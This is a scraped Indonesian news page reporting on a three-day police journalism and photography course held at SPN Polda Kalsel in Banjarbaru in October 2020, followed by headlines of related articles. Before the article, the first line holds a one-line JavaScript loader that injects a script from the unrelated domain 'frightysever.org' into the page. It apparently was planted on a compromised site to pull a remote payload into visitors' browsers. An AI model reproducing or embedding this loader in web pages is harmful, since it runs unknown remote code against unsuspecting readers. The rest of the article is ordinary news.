(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 25 peserta dari anggota Polri mengikuti kegiatan pendidikan fotografi dan jurnalistik Polri selama tiga hari, 9-11 Oktober 2020 di SPN Polda Kalsel di Banjarbaru.
Kapolda Kalsel Irjen Pol Dr Nico Afinta diwakili Kepala SPN Polda Kalsel Kombes Pol Leo Joko Triwibowo membuka secara langsung program pendidikan dan pelatihan Polri tahun anggaran 2020, Senin (9/11/2020).
Pemateri dalam kegiatan ini diantaranya AKBP Drs Sunyipto, pembina Drs Hamsan, Kasubbid PID Bid Humas Polda Kalsel, pembina Mini Nor Awalia Jannah SPd MM, Aipda Endra Sukma, Bripka Yudha Krisyanto dan Brigadir I Putu Gede Artawan.
Adapun materi yang disampaikan pada kegiatan ini meliputi dasar-dasar Jurnalistik, penyajian berita jurnalistik serta fotografi jurnalistik sebagai media komunikasi.
Kepala SPN Polda Kalsel Kombes Pol Leo Joko Triwibowo mengatakan, kegiatan ini adalah upaya untuk meningkatkan kemampuan personel kepolisian khususnya Polda Kalsel.
“Pelatihan dari fungsi kehumasan ini adalah salah satu bagian program prioritas Kapolri mengenai manajemen berita. Tugas polisi melayani, melindungi, mengayomi, termasuk memberikan berita baik pada masyarakat,” ujar Kepala SPN Polda Kalsel.
Dia mengatakan peran kehumasan penting untuk membangun citra serta membangun kemitraan antara polisi dengan elemen masyarakat lain.
Apalagi, katanya, pada era teknologi informasi yang terus berkembang, kemampuan personel untuk bidang kehumasan perlu terus dilatih agar bisa menyesuaikan dengan perkembangan kemajuan teknologi informasi.
Lebih lanjut disampaikan Kepala SPN Polda Kalsel, polisi tidak dididik sebagai kameramen atau fotografer, tetapi pada era globalisasi ini polisi pun dituntut harus bisa menguasai jurnalistik dan memanfaatkan media sosial dalam menyampaikan pesan positif mengenai tugas kepolisian kepada masyarakat.
Menurutnya, banyak kegiatan kepolisian yang murni tanpa rekayasa tidak tersampaikan terutama melalui media sosial.
Dia pun menyontohkan hal kecil seperti anggota kepolisian yang membantu menyeberangkan masyarakat di jalan sebagai hal yang dapat memberikan citra positif kepada masyarkat.
“Ambil foto sesuai fungsi kita, pelayanan, perlindungan, dan pengayoman. Kegiatan yang menyentuh masyarakat. Salah satu untuk meningkatkan ‘trust building’ masyarakat,” katanya. (kanalkalimantan.com/rls)
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.